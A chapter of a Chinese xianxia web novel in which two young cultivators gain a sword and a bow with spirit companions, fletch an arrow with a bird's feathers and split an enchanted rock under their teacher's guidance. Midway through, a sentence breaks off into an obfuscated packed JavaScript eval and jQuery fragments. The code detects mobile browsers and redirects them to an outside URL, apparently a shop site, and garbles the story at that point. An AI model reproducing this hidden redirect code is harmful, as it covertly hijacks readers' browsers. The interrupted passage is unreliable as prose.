18. 岩花

作品:《大师姐被逐出宗门以后

    忽的,两人的石头化为一白一绿两道灵光,钻入额头。


    云昭摸了摸脑袋,意念一动,一柄碧绿的剑出现在她手中,剑身修长纤薄,晶莹剔透,有金色光丝在其中缓缓流动,散发着温暖的气息。


    她爱不释手的摸了摸,突然一个活物从她掌下钻了出来。


    一只黑色的小鸟腾空而起,在云昭脑袋上盘旋,“嘎”个不停。


    而她竟然听得懂:“恭喜你,少年人,能够成为尊贵华丽、举世无双的本大爷的剑主,不用故作矜持了,高兴吧,欢呼吧哈哈哈哈哈哈哈哈哈!!”


    云昭:“......”还不如听不懂。


    她看着这只黑鸟在空中变换着身姿,胸脯高高顶起,翅膀不断扑腾,魔音贯耳。犹豫了下,还是问出了口:“你是乌鸦吗?”


    黑鸟的身子好像滞了片刻,就生气的要来啄她的脑袋,结果被谢回玉伸手抓住了,仍然嘴里叫个不停。


    “你才是乌鸦!你全家都是乌鸦!眼神不好吗本大爷是青鸟,青鸟懂不懂!和凤凰差不多的那个!!”


    谢回玉把黑鸟松开,云昭伸手把还想啄她的鸟拢在手心,顺了顺它的羽毛。


    倒是挺滑溜,就是太小了,摸着不过瘾。


    云昭凑到谢回玉身边,问道:“你的武器是什么?”


    谢回玉安静片刻,几息后,一把雪银长弓出现在他手中,很是高贵精致的模样。


    真是物似主人形。


    “看吧我就说,很适合你!”云昭欣赏了一会,又状似不经意问,“你的器灵呢?”


    谢回玉:“睡了。”


    云昭颇为遗憾的点点头,可惜,她还以为摸到毛茸茸呢。


    云昭把小黑鸟放在肩膀上,伸了伸懒腰,说:“那我们来琢磨下要怎么把这破石头劈开,我刚才用的那招剑法,叫’饮羽威’,师娘说,让我想想这招的下半招。”


    “宗子维城固,将军饮羽威。岩花腕底发,流云袖间裁。‘饮羽威’讲究一招破敌,而‘流云裁’是一记劈斩,招式轻柔,力量更小......”


    云昭搓了搓脑袋:“师娘说的‘饮羽威’作为剑招本身就有缺陷又是什么意思呢?”


    谢回玉:“刚才,前半句,你解,其意吗?”


    云昭听着谢回玉蹦出来一个一个的词,想了下说:“就是剑招嘛,要一击制敌。”


    谢回玉摇摇头:“箭矢,射入目标,箭羽,没入其中。”


    云昭:“你是说,这最开始是一式弓法,却被化用成了剑招......如果是弓法的话,离弦之箭没入石头,那么确实就不存在师娘所说的缺陷了。”


    “小结巴你太聪明了,你如何知道的!”


    谢回玉淡淡道:“读过书,都知道。这两句,有出处。”


    虽然看不到他的眼神,云昭觉得他看自己像在看文盲......也差不多吧,她本来就不爱读书,一看到长篇大论的,就晕字儿。


    “我会看剑谱不就得了?我背的可快了!师尊都夸我练的好。”


    主要是剑谱上面有连环画。


    谢回玉摇摇头:“前人,智慧,更胜,你我。否则,只,练其形,不,知其意。”


    云昭似懂非懂的点点头,觉得他就像早课上正襟危坐,长老爱不释手的得意门生。


    而她则缩在后排,整天拉着萧乐之传纸条斗蛐蛐,听不进去一个字。


    这种好学生,最好玩了。


    “你念书的时候,也这样,两个字,三个字的往外蹦吗?”


    谢回玉不语。


    “小结巴?”


    “小结巴?”


    谢回玉把头一撇,背过身去。


    云昭在心中狂笑,又忍住笑意,状作无辜:“别生气嘛,我错了,要我说,你就是和人说话说少了才这样的,你理理我,多和我说说话,保管,药,到,病,除!”


    语调一声比一声上扬,十分俏皮。


    谢回玉忍了忍:“你,一直,这样吗?”


    云昭眼睛一弯:“我就是这样一个热心肠的女修,不必太过感谢我。”


    谢回玉不和她说闲话,淡淡开口:“前半句,弓法,我来。后半,剑招......”


    “我来!”


    “但是......”


    “但是什么?”


    谢回玉举起自己手中的弓:“没箭。”


    其实也可以只用一些自然中的媒介,比如树叶,光,电,声音等,附上灵力化箭,但那起码是金丹期修士才能做到的事,他们现在还做不到。


    南宫明夷在石头上翻了个身,一只手臂支起拖住脑袋,十分感兴趣的望着下面两个凑在一起讲话的小萝卜。


    真怀念呐,年少时的友谊最珍贵了。


    她从石头上一跃而下,走到一处砂砾堆旁,对两人说:“你们过来,挖开看看。”


    云昭用剑把土堆刨开一看,是一具骸骨,他身旁的篓子里装了几支箭矢,只是折的折,断的断,唯一一个看上去还能用的,尾羽残破不堪。


    “这人是个猎户,似乎有些门道,竟然找来了这,可惜有本事进来,没本事出去。”


    云昭仔细看了看这支箭,“师娘,这个箭的羽毛坏成这样,射出去也飞不起来吧。”


    “换新的不就得了。”


    “哪去......”


    众人看向了云昭肩上的小黑鸟。


    某鸟:?


    直到它被云昭一把抓住才反应过来,这些残忍的人类竟然要拔他的毛,当即惨叫不停。


    云昭安慰它:“青鸟大爷,您行行好,赏我们三根羽毛吧,等出去了,我一定好吃好喝伺候你,想要什么尽管提?”


    小黑鸟犹豫一瞬:“那我要红宝石。”


    云昭:“行!”


    小黑鸟:“我要金丝玛瑙,南海珍珠。”


    云昭:“行.....”


    “我还要用天蚕丝做的窝!要镶金边!还要每天给我梳羽毛,用玉梳子!”


    云昭:“好说,好说......”


    小黑鸟眼睛一亮:“我要日日吃冰镇荔枝!喝鲜花露水!还要......”


    差不多得了!


    云昭当即一把捏住它的嘴,皮笑肉不笑的说:“好了好了,咱们先拔毛吧!”随后对着谢回玉说,“来搭把手。”


    谢回玉接过云昭的手,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250310|197530||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    按住了小黑鸟,刚才还在剧烈挣扎的鸟突然不动了,不停地嗅着什么,但没等它嗅出什么名堂来,屁股处传来一阵刺痛。


    “嘎!!”


    声音高亢,有凤凰泣血那味。


    拔完毛小黑鸟就哭哭啼啼的回云昭的灵海养伤了。


    云昭将羽毛插在箭尾,递给谢回玉。


    谢回玉接过,后退三十步站定。


    搭箭,开弓。这张弓是第一次被拉开,谢回玉却觉得十分顺手,熟悉的仿佛从前用了很久。


    谢回玉看着远处的巨石,催动灵力,屏气凝神间,手指一放,弓弦“铮”的一声回响。


    右臂传来一下刺痛,白色的衣袖渐渐被血染红。这是第一次用弓,被弦抽到了。


    但谢回玉没管,眼神跟着那飞速向前的离弦之箭,和与箭并行的云昭。


    云昭踏步向前,跟着散发无尽冰霜之气的飞箭一齐闪身到巨石身前,起手果断挥出一剑。


    寒箭没入石头的瞬间,一道暖融融的剑气也悄然而至,钻入其中。乍暖还寒时,埋藏在巨石中的一颗千年的种子,悄然萌发,绽出一朵,小小的白花。


    云昭看着那生于岩石的花,手腕一转,剑刃擦着花朵而过,触到岩石的表面。


    这次不再是坚硬的石头,是柔软的云霞。


    “岩花腕底发,流云袖间裁。”


    原来如此。


    这石头,吃软不吃硬。


    “剑以斫石,石以坚拒,愈用力则愈见其刚。若以春风相待,待石隙生花,心怜一蕊,再举剑时,顽石已化流霞,裁之如裁云。”


    南宫明夷拍手笑道:“不读书不行,光读书也不行,比如今日,就是古籍和剑谱上都没有的东西,只有亲身体会才能有所悟。”


    烟霞散去,云昭看着被劈开的巨石中那一朵脆弱的白花,俯身捡起。


    “云昭受教。”


    谢回玉上前来,深深鞠了一躬,慢声道:“多谢,前辈。”


    身后,紧闭的石门缓缓打开,照亮了整个洞窟,满洞插着的宝器却渐渐化作光粒消散。


    云昭看着这景象:“师娘,这?”


    南宫明夷:“禁制破了,这大门也就形同虚设,不问善恶之人皆可取,神器宁自毁之。”


    “但你们,留下了两件,也很好了。”


    “你们如何来的,便如何回去,万物都是有始有终,既然那东西把你们送来了,就得负责把你们送回去。”


    南宫明夷看向谢回玉,笑说:“闷萝卜,你先回去,此处时间流速与外界不同,你们那大约已是过了小半年了。”


    有对云昭说:“你留下会,我还有些宗门的事儿和你聊聊。”


    谢回玉怔了怔,人家要讨论宗门内务,他自然是不便留下,此时不知哪来的一股力量,竟把他往门外拉。


    云昭也是十分的舍不得这个新认识的朋友,忙说:“小结巴,我会再来找你的!你回去之后,也多和别人说说话,下次见,希望我们能聊个痛快!”


    云昭看他已到了门口,大声喊:“再见的时候,告诉我你的名字!!”


    谢回玉没有再沉默的点头,而是说了一声:“好。”